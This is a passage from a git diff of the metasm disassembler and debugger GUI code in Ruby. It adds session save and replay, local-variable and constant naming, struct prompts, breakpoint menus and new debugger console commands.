] || (to - curaddr < 0 ? :up : :down))] } invalidate(0, 0, @arrow_zone_w, 100000) if prev_arrows != @arrows end diff --git a/lib/metasm/metasm/gui/dasm_main.rb b/lib/metasm/metasm/gui/dasm_main.rb index 8b1e298d72..0c6e504be9 100644 --- a/lib/metasm/metasm/gui/dasm_main.rb +++ b/lib/metasm/metasm/gui/dasm_main.rb @@ -15,6 +15,16 @@ require 'metasm/gui/cstruct' module Metasm module Gui +class DrawableWidget + ColorTheme = { :comment => :darkblue, :label => :darkgreen, :text => :black, + :instruction => :black, :address => :blue, :caret => :black, :background => :white, + :cursorline_bg => :paleyellow, :hl_word_bg => :palered, :hl_word => :black, + :red_bg => 'f88', :green_bg => '8f8', :blue_bg => '88f', + :cyan_bg => '8ff', :magenta_bg => 'f8f', :yellow_bg => 'ff8', + :orange_bg => 'fc8' + } +end + # the main disassembler widget: this is a container for all the lower-level widgets that actually render the dasm state class DisasmWidget < ContainerChoiceWidget attr_accessor :entrypoints, :gui_update_counter_max @@ -64,6 +74,7 @@ class DisasmWidget < ContainerChoiceWidget # start an idle callback that will run one round of @dasm.disassemble_mainiter def start_disassemble_bg + return if @dasm.addrs_todo.empty? and @entrypoints.all? { |ep| @dasm.decoded[ep] } gui_update_counter = 0 run = false Gui.idle_add { @@ -84,6 +95,10 @@ class DisasmWidget < ContainerChoiceWidget } end + def wait_disassemble_bg + Gui.main_iter until @entrypoints.empty? and @dasm.addrs_todo.empty? + end + def terminate @clones.delete self end @@ -107,6 +122,17 @@ class DisasmWidget < ContainerChoiceWidget @dasm.prog_binding[hl] || curview.current_address end + # returns the ExpressionString if the currently hilighted word is a :stackvar + def pointed_localvar(obj=curobj, hl=curview.hl_word) + return if not obj.kind_of?(Renderable) + localvar = nil + obj.each_expr { |e| + next unless e.kind_of?(ExpressionString) + localvar = e if e.type == :stackvar and e.str == hl + } + localvar + end + # parse an address and change it to a canonical address form # supported formats: label names, or string with numerical value, incl hex (0x42 and 42h) # if the string is full decimal, a check against mapped space is done to find if it is @@ -138,17 +164,17 @@ class DisasmWidget < ContainerChoiceWidget end # display the specified address - # the display first searches in the current view (graph, listing, etc), - # if it cannot display the address all other views are tried in order + # the display first searches in the current view + # if it cannot display the address, the listing, graph and decompile views are tried (in that order) # the current focus address is saved in @pos_history (see focus_addr_back/redo) - # a messagebox is popped if no view can display the address unless quiet is true + # if quiet is false, a messagebox is popped if no view can display the address def focus_addr(addr, viewidx=nil, quiet=false, *a) viewidx ||= curview_index || :listing return if not addr - return if viewidx == curview_index and addr == curaddr + return if viewidx == curview_index and addr == curaddr and a.empty? oldpos = [curview_index, (curview.get_cursor_pos if curview)] views = [viewidx, oldpos[0]] - views += [:listing, :graph] & view_indexes + views += [:listing, :graph, :decompile] & view_indexes if views.compact.uniq.find { |i| o_p = view(i).get_cursor_pos if (view(i).focus_addr(addr, *a) rescue nil) @@ -157,11 +183,13 @@ class DisasmWidget < ContainerChoiceWidget true else view(i).set_cursor_pos o_p + a.clear false end } @pos_history << oldpos if oldpos[0] # ignore start focus_addr @pos_history_redo.clear + session_append "@session_focus_addr = #{addr.inspect} ; @pos_history = #{@pos_history.inspect}" true else messagebox "Invalid address #{addr}" if not quiet @@ -198,7 +226,7 @@ class DisasmWidget < ContainerChoiceWidget # ask the current view to update itself def do_gui_update - curview.gui_update # invalidate all views ? + curview.gui_update if curview # invalidate all views ? end # redraw the window @@ -212,7 +240,7 @@ class DisasmWidget < ContainerChoiceWidget yield focus_addr curaddr if addr end - + # calls listwindow with the same argument, but also creates a new bg_color_callback # that will color lines whose address is to be found in list[0] in green # the callback is put only for the duration of the listwindow, and is not reentrant. @@ -234,18 +262,24 @@ class DisasmWidget < ContainerChoiceWidget inputbox("new comment for #{Expression[addr]}", :text => cmt) { |c| c = c.split("\n") c = nil if c == [] - if di = @dasm.di_at(addr) - di.comment = c - else - @dasm.comment[addr] = c - end + do_add_comment(addr, c) + session_append "do_add_comment(#{addr.inspect}, #{c.inspect})" gui_update } end + def do_add_comment(addr, c) + if di = @dasm.di_at(addr) + di.comment = c + else + @dasm.comment[addr] = c + end + end + # disassemble from this point # if points to a call, make it return def disassemble(addr) + session_append "disassemble(#{addr.inspect}) ; wait_disassemble_bg" if di = @dasm.di_at(addr) and di.opcode.props[:saveip] di.block.each_to_normal { |t| t = @dasm.normalize t @@ -263,17 +297,20 @@ class DisasmWidget < ContainerChoiceWidget # disassemble fast from this point (don't dasm subfunctions, don't backtrace) def disassemble_fast(addr) @dasm.disassemble_fast(addr) + session_append "dasm.disassemble_fast(#{addr.inspect})" gui_update end # disassemble fast & deep from this point (don't backtrace, but still dasm subfuncs) def disassemble_fast_deep(addr) @dasm.disassemble_fast_deep(addr) + session_append "dasm.disassemble_fast_deep(#{addr.inspect})" gui_update end # (re)decompile def decompile(addr) + session_append "decompile(#{addr.inspect})" if @dasm.c_parser and var = @dasm.c_parser.toplevel.symbol[addr] and (var.type.kind_of? C::Function or @dasm.di_at(addr)) @dasm.decompiler.redecompile(addr) view(:decompile).curaddr = nil @@ -284,6 +321,7 @@ class DisasmWidget < ContainerChoiceWidget # change the format of displayed data under addr (byte, word, dword, qword) # currently this is done using a fake empty xref def toggle_data(addr) + session_append "toggle_data(#{addr.inspect})" return if @dasm.decoded[addr] or not @dasm.get_section_at(addr) @dasm.add_xref(addr, Xref.new(nil, nil, 1)) if not @dasm.xrefs[addr] @dasm.each_xref(addr) { |x| @@ -328,15 +366,31 @@ class DisasmWidget < ContainerChoiceWidget listwindow("list of strings", list) { |i| focus_addr i[0] } end - def list_xrefs(addr) + def list_xrefs(addr=nil) list = [['address', 'type', 'instr']] - @dasm.each_xref(addr) { |xr| - next if not xr.origin - list << [Expression[xr.origin], "#{xr.type}#{xr.len}"] - if di = @dasm.di_at(xr.origin) - list.last << di.instruction + if not addr and pointed_localvar + addr = curview.hl_word + faddr = @dasm.find_function_start(curaddr) + func = @dasm.function[faddr] + if func and func.localvars_xrefs + stoff = func.localvars.index(addr) + func.localvars_xrefs[stoff].to_a.each { |a| + list << [Expression[a], '?'] + if di = @dasm.di_at(a) + list.last << di.instruction + end + } end - } + else + addr ||= pointed_addr + @dasm.each_xref(addr) { |xr| + next if not xr.origin + list << [Expression[xr.origin], "#{xr.type}#{xr.len}"] + if di = @dasm.di_at(xr.origin) + list.last << di.instruction + end + } + end if list.length == 1 messagebox "no xref to #{Expression[addr]}" if addr else @@ -351,8 +405,7 @@ class DisasmWidget < ContainerChoiceWidget } end - def prompt_backtrace - addr = curaddr + def prompt_backtrace(addr=curaddr) inputbox('expression to backtrace', :text => curview.hl_word) { |e| expr = IndExpression.parse_string(e) bd = {} @@ -388,7 +441,106 @@ class DisasmWidget < ContainerChoiceWidget list_bghilight("backtrace #{expr} from #{Expression[addr]}", list) { |i| a = i[0].empty? ? i[2] : i[0] focus_addr(a, nil, true) - } + } + } + end + + # prompt the contant to use in place of some numeric value + def prompt_constant(di=curobj) + return if not di.kind_of?(DecodedInstruction) + di.each_expr { |e| + next unless e.kind_of?(Expression) + if (e.lexpr.kind_of?(Integer) or e.lexpr.kind_of?(ExpressionString)) and + (!curview.hl_word or curview.hl_word == Expression[e.lexpr].to_s) + v = Expression[e.lexpr].reduce + lst = [] + dasm.c_constants.each { |cn, cv, fm| lst << [cn, fm] if v == cv } + if not lst.empty? + default = Expression[v].to_s + lst << [default] + listwindow("constant for #{Expression[v]}", [['name', 'enum']] + lst) { |a| + if a[0] == default + e.lexpr = v + else + e.lexpr = ExpressionString.new(v, a[0], :constant) + end + session_append "if di = dasm.di_at(#{di.address.inspect}) ; di.each_expr { |e| e.lexpr = #{e.lexpr.inspect} if e.kind_of?(Expression) and e.lexpr and Expression[e.lexpr].reduce == #{v.inspect} } ; end" + gui_update + } + end + end + if (e.rexpr.kind_of? Integer or e.rexpr.kind_of?(ExpressionString)) and + (!curview.hl_word or curview.hl_word == Expression[e.rexpr].to_s) + v = Expression[e.rexpr].reduce + lst = [] + dasm.c_constants.each { |cn, cv, fm| lst << [cn, fm] if v == cv } + if not lst.empty? + default = Expression[v].to_s + lst << [default] + listwindow("constant for #{Expression[v]}", [['name', 'enum']] + lst) { |a| + if a[0] == default + e.rexpr = v + else + e.rexpr = ExpressionString.new(v, a[0], :constant) + end + session_append "if di = dasm.di_at(#{di.address.inspect}) ; di.each_expr { |e| e.rexpr = #{e.rexpr.inspect} if e.kind_of?(Expression) and e.rexpr and Expression[e.rexpr].reduce == #{v.inspect} } ; end" + gui_update + } + end + end + } + end + + # prompts for a structure name, autocompletes to known structures, and/or display a listwindow with + # possible completions, yields the target structure name + def prompt_c_struct(prompt, opts={}) + inputbox(prompt, opts) { |st_name| + stars = '' + if opts[:allow_stars] + stars = st_name[/\**$/] + st_name[stars] = '' + end + + # TODO propose typedef struct {} moo; too + sh = @dasm.c_parser.toplevel.struct + if sh[st_name].kind_of?(C::Union) + stn_list = [st_name] + else + stn_list = sh.keys.grep(String).find_all { |k| sh[k].kind_of?(C::Union) } + end + + if name = stn_list.find { |n| n == st_name } || stn_list.find { |n| n.downcase == st_name.downcase } + # single match + yield(name+stars) + else + # try autocomplete + list = [['name']] + list += stn_list.sort.grep(/#{st_name}/i).map { |stn| [stn+stars] } + if list.length == 2 + # single autocompletion + yield(list[1][0]) + else + listwindow(prompt, list) { |ans| + yield(ans[0]) + } + end + end + } + end + + # prompt the struct to use for offset in a given instr + def prompt_struct_ptr(reg=curview.hl_word, addr=curaddr) + return if not reg or not @dasm.cpu.register_symbols.find { |rs| rs.to_s == reg.to_s } + reg = reg.to_sym + + di = @dasm.di_at(addr) + return if not di.kind_of?(DecodedInstruction) + + prompt_c_struct("struct pointed by #{reg}", :allow_stars => true) { |st| + # TODO store that info for the decompiler ? + @dasm.trace_update_reg_structptr(addr, reg, st) + session_append "dasm.trace_update_reg_structptr(#{addr.inspect}, #{reg.inspect}, #{st.inspect})" + gui_update } end @@ -397,7 +549,7 @@ class DisasmWidget < ContainerChoiceWidget def focus_addr_autocomplete(v, show_alt=true) if not focus_addr(v, nil, true) labels = @dasm.prog_binding.map { |k, vv| - [k, Expression[@dasm.normalize(vv)]] if k.downcase.include? v.downcase + [k, Expression[@dasm.normalize(vv)]] if k.downcase.include? v.downcase }.compact case labels.length when 0; focus_addr(v) @@ -422,7 +574,10 @@ class DisasmWidget < ContainerChoiceWidget # run arbitrary ruby def prompt_run_ruby - inputbox('ruby code to eval()') { |c| messagebox eval(c).inspect[0, 512], 'eval' } + inputbox('ruby code to eval()') { |c| + messagebox eval(c).inspect[0, 512], 'eval' + session_append "#eval #{c.inspect}" + } end # run ruby plugin @@ -454,25 +609,41 @@ class DisasmWidget < ContainerChoiceWidget end end - # prompts for a new name for addr - def rename_label(addr) - old = addr - if @dasm.prog_binding[old] or old = @dasm.get_label_at(addr) + # prompts for a new name for what is under the cursor (or the current address) + def rename(what=nil) + if not what and localvar = pointed_localvar + addr = curaddr + str = localvar.str.dup + inputbox("new name for #{localvar}", :text => localvar.to_s) { |v| + if v =~ /^[a-z_][a-z0-9_]*$/i + localvar.str.replace v + session_append "pointed_localvar(dasm.decoded[#{addr.inspect}], #{str.inspect}).str.replace(#{v.inspect})" + gui_update + else messagebox("invalid local var name #{v.inspect}") + end + } + return + end + + what ||= pointed_addr + if @dasm.prog_binding[what] or old = @dasm.get_label_at(what) + old ||= what inputbox("new name for #{old}", :text => old) { |v| if v == '' - @dasm.del_label_at(addr) + @dasm.del_label_at(what) + session_append "dasm.del_label_at(#{what.inspect})" else @dasm.rename_label(old, v) + session_append "dasm.rename_label(#{old.inspect}, #{v.inspect})" end gui_update } else - inputbox("label name for #{Expression[addr]}", :text => Expression[addr]) { |v| + inputbox("label name for #{Expression[what]}", :text => Expression[what]) { |v| next if v == '' - @dasm.set_label_at(addr, v) - if di = @dasm.di_at(addr) - @dasm.split_block(di.block, di.address) - end + @dasm.set_label_at(what, v) + @dasm.split_block(what) + session_append "dasm.set_label_at(#{what.inspect}, #{v.inspect}) ; dasm.split_block(#{what.inspect})" gui_update } end @@ -504,12 +675,34 @@ class DisasmWidget < ContainerChoiceWidget # toggles <41h> vs <'A'> display def toggle_expr_char(o) @dasm.toggle_expr_char(o) + session_append "dasm.toggle_expr_char(dasm.decoded[#{curaddr.inspect}])" + gui_update + end + + # toggle <10h> vs <16> display + def toggle_expr_dec(o) + @dasm.toggle_expr_dec(o) + session_append "dasm.toggle_expr_dec(dasm.decoded[#{curaddr.inspect}])" gui_update end # toggle <401000h> vs <'sub_fancyname'> in the current instr display def toggle_expr_offset(o) @dasm.toggle_expr_offset(o) + session_append "dasm.toggle_expr_offset(dasm.decoded[#{curaddr.inspect}])" + gui_update + end + + # toggle constant/localvar names with raw value + def toggle_expr_str(o) + @dasm.toggle_expr_str(o) + session_append "dasm.toggle_expr_str(dasm.decoded[#{curaddr.inspect}])" + gui_update + end + + def name_local_vars(a) + @dasm.name_local_vars(a) + session_append "dasm.name_local_vars(#{a.inspect})" gui_update end @@ -524,6 +717,7 @@ class DisasmWidget < ContainerChoiceWidget list = [] @dasm.each_function_block(addr, incl_subfuncs) { |b| list << b } list.each { |b| @dasm.undefine_from(b) } + session_append "undefine_function(#{addr.inspect}, #{incl_subfuncs.inspect})" gui_update end @@ -549,28 +743,33 @@ class DisasmWidget < ContainerChoiceWidget when ?/; inputbox('search word') { |w| next unless curview.respond_to? :hl_word next if w == '' - curview.hl_word = w + curview.hl_word = w + curview.hl_word_re = /(.*)(#{w})/ curview.redraw } - when ?b; prompt_backtrace - when ?c; disassemble(curview.current_address) - when ?C; disassemble_fast(curview.current_address) - when ?d; toggle_data(curview.current_address) + when ?b; prompt_backtrace(curaddr) + when ?c; disassemble(curaddr) + when ?C; disassemble_fast(curaddr) + when ?d; curobj.kind_of?(DecodedInstruction) ? toggle_expr_dec(curobj) : toggle_data(curaddr) when ?f; list_functions when ?g; prompt_goto + when ?k; toggle_expr_str(curobj) + when ?K; name_local_vars(curaddr) when ?l; list_labels - when ?n; rename_label(pointed_addr) + when ?m; prompt_constant(curobj) + when ?n; rename when ?o; toggle_expr_offset(curobj) when ?p; playpause_dasm when ?r; toggle_expr_char(curobj) + when ?t; prompt_struct_ptr when ?v; $VERBOSE = ! $VERBOSE ; puts "#{'not ' if not $VERBOSE}verbose" # toggle verbose flag - when ?x; list_xrefs(pointed_addr) - when ?;; add_comment(curview.current_address) + when ?x; list_xrefs + when ?;; add_comment(curaddr) when ?\ ; toggle_view(:listing) when :tab; toggle_view(:decompile) when ?j; curview.keypress(:down) - when ?k; curview.keypress(:up) + #when ?k; curview.keypress(:up) else p key if $DEBUG return @parent_widget ? @parent_widget.keypress(key) : false @@ -578,6 +777,48 @@ class DisasmWidget < ContainerChoiceWidget true end + attr_accessor :session_file + def save_session(filename) + @session_file = filename + end + + def replay_session(filename) + i = 0 + File.readlines(filename).each { |l| + instance_eval l + i += 1 + } + focus_addr(@session_focus_addr) if @session_focus_addr + puts "Session replay finished" + rescue ::Exception + puts "Session replay: error on line #{i}: #{$!.class} #{$!}" + end + + # append one line to the session file + # converts addresses to hex, deletes consecutive set_focus lines + def session_append(str) + return if not session_file + + # convert decimal addrs to hex + str = str.sub(/(\(|\[|= )(\d\d\d\d\d\d+)/) { $1 + ('0x%x' % $2.to_i) } + + @session_lastsz_setfocus ||= nil # prevent warning + if str =~ /^@session_focus_addr = / and @session_lastsz_setfocus + # overwrite previous set_focus + File.truncate(session_file, @session_lastsz_setfocus) if File.size(session_file) == @session_lastsz + is_setfocus = true + end + + File.open(session_file, 'a') { |fd| fd.puts str } + + @session_lastsz = File.size(session_file) + @session_lastsz_setfocus = @session_lastsz if not is_setfocus + + rescue + @session_file = nil + puts "Failed to save session, disabling (#{$!.class} #{$!})" + end + # creates a new dasm window with the same disassembler object, focus it on addr#win def clone_window(*focus) return if not popup = DasmWindow.new @@ -594,11 +835,21 @@ class DisasmWidget < ContainerChoiceWidget def dragdropfile(f) case f when /\.(c|h|cpp)$/; @dasm.parse_c_file(f) - when /\.map$/; @dasm.load_map(f) + when /\.map$/; @dasm.load_map(f) ; gui_update when /\.rb$/; @dasm.load_plugin(f) else messagebox("unsupported file extension #{f}") end end + + def extend_contextmenu(tg, menu, addr=nil) + if @parent_widget.respond_to?(:extend_contextmenu) + @parent_widget.extend_contextmenu(tg, menu, addr) + end + end + + def inspect + "" % object_id + end end # this widget is loaded in an empty DasmWindow to handle shortcuts (open file, etc) @@ -644,7 +895,7 @@ class DasmWindow < Window self.widget = NoDasmWidget.new(self) end end - + def widget=(w) super(w || NoDasmWidget.new(self)) end @@ -673,8 +924,11 @@ class DasmWindow < Window def loadfile(path, cpu='Ia32', exefmt=nil) if exefmt exefmt = Metasm.const_get(exefmt) if exefmt.kind_of? String + if exefmt.kind_of?(::Class) and exefmt.name.split('::').last == 'Shellcode' + exefmt = Shellcode.withcpu(cpu) + end else - exefmt = AutoExe.orshellcode { cpu = Metasm.const_get(cpu) if cpu.kind_of? String ; cpu.new } + exefmt = AutoExe.orshellcode { cpu = Metasm.const_get(cpu) if cpu.kind_of? String ; cpu = cpu.new if cpu.kind_of?(::Class) ; cpu } end exe = exefmt.decode_file(path) { |type, str| @@ -688,14 +942,15 @@ class DasmWindow < Window end } (@dasm_widget ? DasmWindow.new : self).display(exe.disassembler) + self.title = "#{File.basename(path)} - metasm disassembler" exe end - def promptopen(caption='chose target binary') - openfile(caption) { |exename| loadfile(exename) ; yield self if block_given? } + def promptopen(caption='chose target binary', &b) + openfile(caption) { |exename| loadfile(exename) ; b.call(self) if b } end - def promptdebug(caption='chose target') + def promptdebug(caption='chose target', &b) l = nil i = inputbox(caption) { |name| i = nil ; l.destroy if l and not l.destroyed? @@ -711,7 +966,7 @@ class DasmWindow < Window end DbgWindow.new(target) destroy if not @dasm_widget - yield self if block_given? + b.call(self) if b } # build process list in bg (exe name resolution takes a few seconds) @@ -786,6 +1041,7 @@ class DasmWindow < Window addsubmenu(importmenu, 'Load _map') { openfile('chose map file') { |file| @dasm_widget.dasm.load_map(File.read(file)) if @dasm_widget + @dasm_widget.gui_update if @dasm_widget } if @dasm_widget } addsubmenu(importmenu, 'Load _C') { @@ -838,12 +1094,13 @@ class DasmWindow < Window addsubmenu(actions, '_Backtrace', 'b') { @dasm_widget.prompt_backtrace } addsubmenu(actions, 'List functions', 'f') { @dasm_widget.list_functions } addsubmenu(actions, 'List labels', 'l') { @dasm_widget.list_labels } - addsubmenu(actions, 'List xrefs', 'x') { @dasm_widget.list_xrefs(@dasm_widget.pointed_addr) } + addsubmenu(actions, 'List xrefs', 'x') { @dasm_widget.list_xrefs } + addsubmenu(actions, 'Find local vars', 'K') { @dasm_widget.name_local_vars(@dasm_widget.curview.current_address) } addsubmenu(actions, 'Rebase') { @dasm_widget.rebase } - addsubmenu(actions, 'Rename label', 'n') { @dasm_widget.rename_label(@dasm_widget.pointed_addr) } + addsubmenu(actions, 'Rename label', 'n') { @dasm_widget.rename } addsubmenu(actions, 'Decompile', '') { @dasm_widget.decompile(@dasm_widget.curview.current_address) } addsubmenu(actions, 'Decompile finali_ze') { @dasm_widget.dasm.decompiler.finalize ; @dasm_widget.gui_update } - addsubmenu(actions, 'Comment', ';') { @dasm_widget.decompile(@dasm_widget.curview.current_address) } + addsubmenu(actions, 'Comment', ';') { @dasm_widget.add_comment(@dasm_widget.curview.current_address) } addsubmenu(actions, '_Undefine') { @dasm_widget.dasm.undefine_from(@dasm_widget.curview.current_address) ; @dasm_widget.gui_update } addsubmenu(actions, 'Unde_fine function') { @dasm_widget.undefine_function(@dasm_widget.curview.current_address) } addsubmenu(actions, 'Undefine function & _subfuncs') { @dasm_widget.undefine_function(@dasm_widget.curview.current_address, true) } diff --git a/lib/metasm/metasm/gui/dasm_opcodes.rb b/lib/metasm/metasm/gui/dasm_opcodes.rb index f38c2b38d5..faeab8334d 100644 --- a/lib/metasm/metasm/gui/dasm_opcodes.rb +++ b/lib/metasm/metasm/gui/dasm_opcodes.rb @@ -9,7 +9,7 @@ class AsmOpcodeWidget < DrawableWidget attr_accessor :dasm # nr of raw data bytes to display next to decoded instructions attr_accessor :raw_data_length - + def initialize_widget(dasm, parent_widget) @dasm = dasm @parent_widget = parent_widget @@ -22,9 +22,7 @@ class AsmOpcodeWidget < DrawableWidget @view_max = @dasm.sections.map { |s, e| s + e.length }.max rescue nil @view_addr = @dasm.prog_binding['entrypoint'] || @view_min || 0 - @default_color_association = { :comment => :darkblue, :label => :darkgreen, :text => :black, - :instruction => :black, :address => :blue, :caret => :black, :raw_data => :black, - :background => :white, :cursorline_bg => :paleyellow, :hl_word => :palered } + @default_color_association = ColorTheme.merge :raw_data => :black end def resized(w, h) @@ -124,19 +122,7 @@ class AsmOpcodeWidget < DrawableWidget # must not include newline render = lambda { |str, color| fullstr << str - if @hl_word - stmp = str - pre_x = 0 - while stmp =~ /^(.*?)(\b#{Regexp.escape @hl_word}\b)/ - s1, s2 = $1, $2 - pre_x += s1.length * @font_width - hl_x = s2.length * @font_width - draw_rectangle_color(:hl_word, x+pre_x, y, hl_x, @font_height) - pre_x += hl_x - stmp = stmp[s1.length+s2.length..-1] - end - end - draw_string_color(color, x, y, str) + draw_string_hl(color, x, y, str) x += str.length * @font_width } @@ -154,7 +140,7 @@ class AsmOpcodeWidget < DrawableWidget # draw text until screen is full while y < height - if label = invb[curaddr] + if invb[curaddr] nl[] @dasm.label_alias[curaddr].to_a.each { |name| render["#{name}:", :label] @@ -251,7 +237,7 @@ class AsmOpcodeWidget < DrawableWidget # redraws the caret, change the hilighted word, redraw if needed def update_caret if update_hl_word(@line_text[@caret_y], @caret_x) or @caret_y != @oldcaret_y - redraw + redraw elsif @oldcaret_x != @caret_x invalidate_caret(@oldcaret_x, @oldcaret_y) invalidate_caret(@caret_x, @caret_y) diff --git a/lib/metasm/metasm/gui/debug.rb b/lib/metasm/metasm/gui/debug.rb index 53cc684f2f..e563803dc3 100644 --- a/lib/metasm/metasm/gui/debug.rb +++ b/lib/metasm/metasm/gui/debug.rb @@ -30,7 +30,7 @@ class DbgWidget < ContainerVBoxWidget oldcb = @code.bg_color_callback @code.bg_color_callback = lambda { |a| if a == @dbg.pc - 'f88' + :red_bg # TODO breakpoints & stuff elsif oldcb; oldcb[a] end @@ -48,8 +48,8 @@ class DbgWidget < ContainerVBoxWidget pc = @dbg.resolve_expr(@watchpoint[@code]) graph = :graph if @dbg.disassembler.function_blocks(pc).to_a.length < 100 - @code.focus_addr(pc, graph) - @mem.focus_addr(0, :hex) + @code.focus_addr(pc, graph, true) + @mem.focus_addr(0, :hex, true) end def swapin_tid @@ -98,10 +98,16 @@ class DbgWidget < ContainerVBoxWidget # TODO check_target always, incl when :stopped def post_dbg_run + # focus currently stopped threads + if @dbg.state == :running and tt = @dbg.tid_stuff.find { |tid, tstuff| tstuff[:state] != :running } + @dbg.tid = tt[0] + end + want_redraw = true return if @idle_checking ||= nil # load only one bg proc @idle_checking = true Gui.idle_add { + protect { @dbg.check_target if @dbg.state == :running redraw if want_redraw # redraw once if the target is running (less flicker with singlestep) @@ -121,6 +127,7 @@ class DbgWidget < ContainerVBoxWidget } redraw false + } } end @@ -166,7 +173,10 @@ class DbgWidget < ContainerVBoxWidget l = listwindow('running processes', list, :noshow => true, :color_callback => lambda { |le| [:grey, :palegrey] if le[0] == me } - ) { |e| i.text = e[0] } + ) { |e| + i.text = e[0] + i.keypress(:enter) if l.destroyed? + } l.x += l.width l.show false @@ -198,10 +208,28 @@ class DbgWidget < ContainerVBoxWidget case f when /\.(c|h|cpp)$/; @dbg.disassembler.parse_c_file(f) when /\.map$/; @dbg.load_map(f) - when /\.rb$/; @dbg.load_plugin(f) + when /\.rb$/; @dbg.load_plugin(f) ; @console.add_log "loaded plugin #{File.basename(f, '.rb')}" else messagebox("unsupported file extension #{f}") end end + + def extend_contextmenu(tg, menu, addr=nil) + if addr + bm = tg.new_menu + bl = @dbg.all_breakpoints(addr) + if not bl.empty? + tg.addsubmenu(bm, '_clear breakpoint') { bl.each { |b| @dbg.del_bp(b) } } + end + tg.addsubmenu(bm, '_go here') { @dbg.bpx(addr, true) ; dbg_continue } + tg.addsubmenu(bm, '_bpx') { @dbg.bpx(addr) } + tg.addsubmenu(bm, 'bpm _read') { @dbg.hwbp(addr, :r, 1) } + tg.addsubmenu(bm, 'bpm _write') { @dbg.hwbp(addr, :w, 1) } + tg.addsubmenu(menu, '_bp', bm) + end + if @parent_widget.respond_to?(:extend_contextmenu) + @parent_widget.extend_contextmenu(tg, menu, addr) + end + end end @@ -221,10 +249,9 @@ class DbgRegWidget < DrawableWidget swapin_tid @reg_pos = [] # list of x y w h vx of the reg drawing on widget, vx is x of value - - @default_color_association = { :label => :black, :data => :blue, :write_pending => :darkred, - :changed => :darkgreen, :caret => :black, :background => :white, - :inactive => :palegrey } + + @default_color_association = ColorTheme.merge :label => :text, :data => :blue, :write_pending => :darkred, + :changed => :green, :caret => :text, :inactive => :palegrey end def swapin_tid @@ -262,7 +289,6 @@ class DbgRegWidget < DrawableWidget end def paint - curaddr = 0 x = 1 y = 0 @@ -402,7 +428,7 @@ class DbgRegWidget < DrawableWidget @write_pending[reg] = v rsz = 1 end - + if rsz == 1 @caret_reg += 1 @caret_reg = @registers.length if @caret_reg >= @registers.length + @flags.length @@ -472,8 +498,8 @@ class DbgConsoleWidget < DrawableWidget @dbg.set_log_proc { |l| add_log l } - @default_color_association = { :log => :palegrey, :curline => :white, :caret => :yellow, - :background => :black, :status => :black, :status_bg => '088' } + @default_color_association = ColorTheme.merge :log => :palegrey, :curline => :white, :caret => :yellow, + :background => :black, :status => :black, :status_bg => '088' init_commands end @@ -513,6 +539,21 @@ class DbgConsoleWidget < DrawableWidget clipboard_copy(txt) end + # copy/paste word under cursor (paste when on last line) + def rightclick(x, y) + y -= height % @font_height + y = y.to_i / @font_height + hc = height / @font_height + x /= @font_width + if y >= hc - 2 + keypress_ctrl ?v + else + txt = @log.reverse[@log_offset + hc - y - 3].to_s + word = txt[0...x].to_s[/\w*$/] << txt[x..-1].to_s[/^\w*/] + clipboard_copy(word) + end + end + def mouse_wheel(dir, x, y) case dir when :up; @log_offset += 3 @@ -531,12 +572,12 @@ class DbgConsoleWidget < DrawableWidget w_w = width - y -= @font_height + y -= @font_height draw_rectangle_color(:status_bg, 0, y, w_w, @font_height) str = "#{@dbg.pid}:#{@dbg.tid} #{@dbg.state} #{@dbg.info}" draw_string_color(:status, w_w-str.length*@font_width-1, y, str) draw_string_color(:status, 1+@font_width, y, @statusline) - y -= @font_height + y -= @font_height w_w_c = w_w/@font_width @caret_y = y @@ -744,7 +785,7 @@ class DbgConsoleWidget < DrawableWidget def cmd_dd(addr, dlen=nil, len=nil) if addr.kind_of? String s = addr.strip - addr = solve_expr!(s) + addr = solve_expr!(s) || @parent_widget.mem.curaddr if not s.empty? s = s[1..-1] if s[0] == ?, len ||= solve_expr(s) @@ -757,7 +798,7 @@ class DbgConsoleWidget < DrawableWidget le = (@dbg.cpu.endianness == :little) data = '' if @dbg.memory.page_invalid?(addr) case dlen - when nil; add_log "#{Expression[addr]} #{data.unpack('C*').map { |c| '%02X' % c }.join(' ').ljust(2*16+15)} #{data.tr("\0-\x1f\x7f-\xff", '.')}" + when nil; add_log "#{Expression[addr]} #{data.unpack('C*').map { |c| '%02X' % c }.join(' ').ljust(2*16+15)} #{data.tr("^\x20-\x7e", '.')}" when 1; add_log "#{Expression[addr]} #{data.unpack('C*').map { |c| '%02X' % c }.join(' ')}" when 2; add_log "#{Expression[addr]} #{data.unpack(le ? 'v*' : 'n*').map { |c| '%04X' % c }.join(' ')}" when 4; add_log "#{Expression[addr]} #{data.unpack(le ? 'V*' : 'N*').map { |c| '%08X' % c }.join(' ')}" @@ -767,8 +808,12 @@ class DbgConsoleWidget < DrawableWidget len -= 16 end else - @parent_widget.mem.view(:hex).data_size = dlen if dlen - @parent_widget.mem.focus_addr(solve_expr(addr)) if addr and addr != '' + if dlen + @parent_widget.mem.view(:hex).data_size = dlen + @parent_widget.mem.view(:hex).resized + @parent_widget.mem.showview(:hex) + end + @parent_widget.mem.focus_addr(solve_expr(addr)) @parent_widget.mem.gui_update end end @@ -783,6 +828,18 @@ class DbgConsoleWidget < DrawableWidget new_command('dw', 'dump/focus words in data window') { |arg| cmd_dd(arg, 2) } new_command('dd', 'dump/focus dwords in data window') { |arg| cmd_dd(arg, 4) } new_command('dq', 'dump/focus qwords in data window') { |arg| cmd_dd(arg, 8) } + new_command('dc', 'focus C struct in data window: ') { |arg| + name, addr = arg.strip.split(/\s+/, 2) + addr = (addr ? solve_expr(addr) : @parent_widget.mem.curaddr) + @parent_widget.mem.focus_addr(addr, :cstruct, false, name) + } + new_command('dC', 'dump C struct: dC ') { |arg| + name, addr = arg.strip.split(/\s+/, 2) + addr = (addr ? solve_expr(addr) : @parent_widget.mem.curaddr) + if st = @dbg.disassembler.c_parser.decode_c_struct(name, @dbg.memory, addr) + add_log st.to_s.gsub("\t", ' ') + end + } new_command('u', 'focus code window on an address') { |arg| p.code.focus_addr(solve_expr(arg)) } new_command('.', 'focus code window on current address') { p.code.focus_addr(solve_expr(@dbg.register_pc.to_s)) } new_command('wc', 'set code window height') { |arg| @@ -828,12 +885,14 @@ class DbgConsoleWidget < DrawableWidget cb = lambda { a.split(';').each { |aaa| run_command(aaa) } } if a @dbg.bpx(solve_expr(e), o, cd, &cb) } - new_command('hwbp', 'set a hardware breakpoint') { |arg| - arg =~ /^(.*?)(?: if (.*?))?(?: do (.*?))?(?: if (.*?))?$/i - e, c, a = $1, ($2 || $4), $3 + new_command('hwbp', 'set a hardware breakpoint (hwbp 0x2345 w)') { |arg| + arg =~ /^(.*?)( once)?( 